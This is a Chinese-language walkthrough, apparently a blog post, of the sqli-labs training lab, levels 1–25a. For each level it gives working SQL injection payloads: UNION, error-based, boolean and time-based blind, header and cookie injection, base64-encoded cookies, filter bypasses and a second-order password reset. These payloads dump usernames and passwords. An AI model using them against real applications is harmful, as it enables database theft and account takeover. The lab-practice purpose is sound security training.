sql注入练习之——sqli-labs 1-25

第一关:
注入点:‘连接的字符串
sql注入练习之——sqli-labs 1-25_第1张图片
数据脱库:
-1’ union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3-- -
sql注入练习之——sqli-labs 1-25_第2张图片
第二关:
注入点:数值型
sql注入练习之——sqli-labs 1-25_第3张图片
数据脱库:
-1 union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3–

sql注入练习之——sqli-labs 1-25_第4张图片
第三关:
注入点:’)分割字符型
sql注入练习之——sqli-labs 1-25_第5张图片
数据脱库:
?id=-1’) union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3–
sql注入练习之——sqli-labs 1-25_第6张图片
第四关:
注入点:")分割字符型
sql注入练习之——sqli-labs 1-25_第7张图片
数据脱库:
?id=-1") union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3–
sql注入练习之——sqli-labs 1-25_第8张图片
第五关:
注入点:单引号为边界的字符串错误注入
sql注入练习之——sqli-labs 1-25_第9张图片
数据脱库:
?id=1’ and updatexml(1,concat(0x7e,(select substring(group_concat(schema_name) ,1,20)from information_schema.schemata)),1)-- -
sql注入练习之——sqli-labs 1-25_第10张图片
第六关:
注入点:双引号为边界的字符串错误注入
sql注入练习之——sqli-labs 1-25_第11张图片
数据脱库:
sql注入练习之——sqli-labs 1-25_第12张图片
第七关:
注入点:’))为边界的字符串布尔注入
sql注入练习之——sqli-labs 1-25_第13张图片
查看数据库长度:
?id=1’)) and (length(database()))=8-- -
sql注入练习之——sqli-labs 1-25_第14张图片
第八关:
注入点:单引号为边界的字符串布尔注入
sql注入练习之——sqli-labs 1-25_第15张图片
查看数据库长度:
?id=1’ and (length(database()))=8-- -
sql注入练习之——sqli-labs 1-25_第16张图片
第九关:
注入点:’延时注入
sql注入练习之——sqli-labs 1-25_第17张图片
查看数据库长度:
?id=2’ and if(length(database())=8,sleep(5),0)-- -
sql注入练习之——sqli-labs 1-25_第18张图片
第十关:
注入点:双引号延时注入
sql注入练习之——sqli-labs 1-25_第19张图片
查看数据库长度:
?id=2" and if(length(database())=8,sleep(5),0)-- -
sql注入练习之——sqli-labs 1-25_第20张图片
第十一关:
注入点:单引号为边界的字符串union注入
在这里插入图片描述
数据脱库:
sql注入练习之——sqli-labs 1-25_第21张图片
第十二关:
注入点:”)为边界的字符串union注入
在这里插入图片描述
数据脱库:
sql注入练习之——sqli-labs 1-25_第22张图片
第十三关:
注入点:’)边界的字符串报错注入
在这里插入图片描述
数据脱库:
在这里插入图片描述
第十四关:
注入点:”边界的字符串报错注入
sql注入练习之——sqli-labs 1-25_第23张图片
数据脱库:
在这里插入图片描述

第十五关:
注入点:单引号布尔
查看数据库长度:
sql注入练习之——sqli-labs 1-25_第24张图片
第十六关:
注入点:双引号括号布尔
查看数据库长度:
sql注入练习之——sqli-labs 1-25_第25张图片
第十七关:
注入点:基于单引号报错
数据脱库:
在这里插入图片描述
第十八关:
注入点:单引号http头部User-Agent注入
数据脱库:
1’ and updatexml(1,concat(0x7e,(select substring(group_concat(concat_ws(0x7e,username,password)) ,1,20)from security.users)),1) and ‘1’=‘1
sql注入练习之——sqli-labs 1-25_第26张图片
第十九关:
注入点:单引号http头部Referer注入
数据脱库:
sql注入练习之——sqli-labs 1-25_第27张图片
第二十关:
注入点:单引号cookie
数据脱库:更改coolie后forward
Cookie: uname=admin’and updatexml(1,concat(0x7e,(select substring(group_concat(concat_ws(0x7e,username,password)) ,1,20)from security.users)),1)-- -
sql注入练习之——sqli-labs 1-25_第28张图片
第二十一关:
注入点:’)cookie加base64解码
数据脱库:
YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBzdWJzdHJpbmcoZ3JvdXBfY29uY2F0KGNvbmNhdF93cygweDdlLHVzZXJuYW1lLHBhc3N3b3JkKSkgLDEsMjApZnJvbSBzZWN1cml0eS51c2VycykpLDEpLS0gLQ==
sql注入练习之——sqli-labs 1-25_第29张图片
第二十二关:
注入点:”cookie加base64解码(题显示还是21,实际是22)
数据脱库:
YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IHN1YnN0cmluZyhncm91cF9jb25jYXQoY29uY2F0X3dzKDB4N2UsdXNlcm5hbWUscGFzc3dvcmQpKSAsMSwyMClmcm9tIHNlY3VyaXR5LnVzZXJzKSksMSktLSAt
sql注入练习之——sqli-labs 1-25_第30张图片
第二十三关:
注入点:’过滤#、–、+
数据脱库:将注释改为’
?id=-1’ union select 1,(select group_concat(concat_ws(0x7e,username,password))from security.users),3’
sql注入练习之——sqli-labs 1-25_第31张图片
第二十四关:
注入点:二次注入
数据脱库:注册一个admin-- -用户,修改密码时直接修改了admin的密码
sql注入练习之——sqli-labs 1-25_第32张图片
第二十五关:
注入点:单引号报错,屏蔽or and
数据脱库:关键字套关键字
?id=-1’ anandd updatexml(1,concat(0x7e,(select substring(group_concat(concat_ws(0x7e,username,passwoorrd)) ,1,20)from security.users)),1)-- -
sql注入练习之——sqli-labs 1-25_第33张图片
第二十五a关:
注入点:数值 屏蔽or and #
数据脱库:延时或联合
?id=-1 union select 1,(select group_concat(concat_ws(0x7e,username,passwoorrd))from security.users),3-- -
sql注入练习之——sqli-labs 1-25_第34张图片

你可能感兴趣的:(渗透测试(web渗透))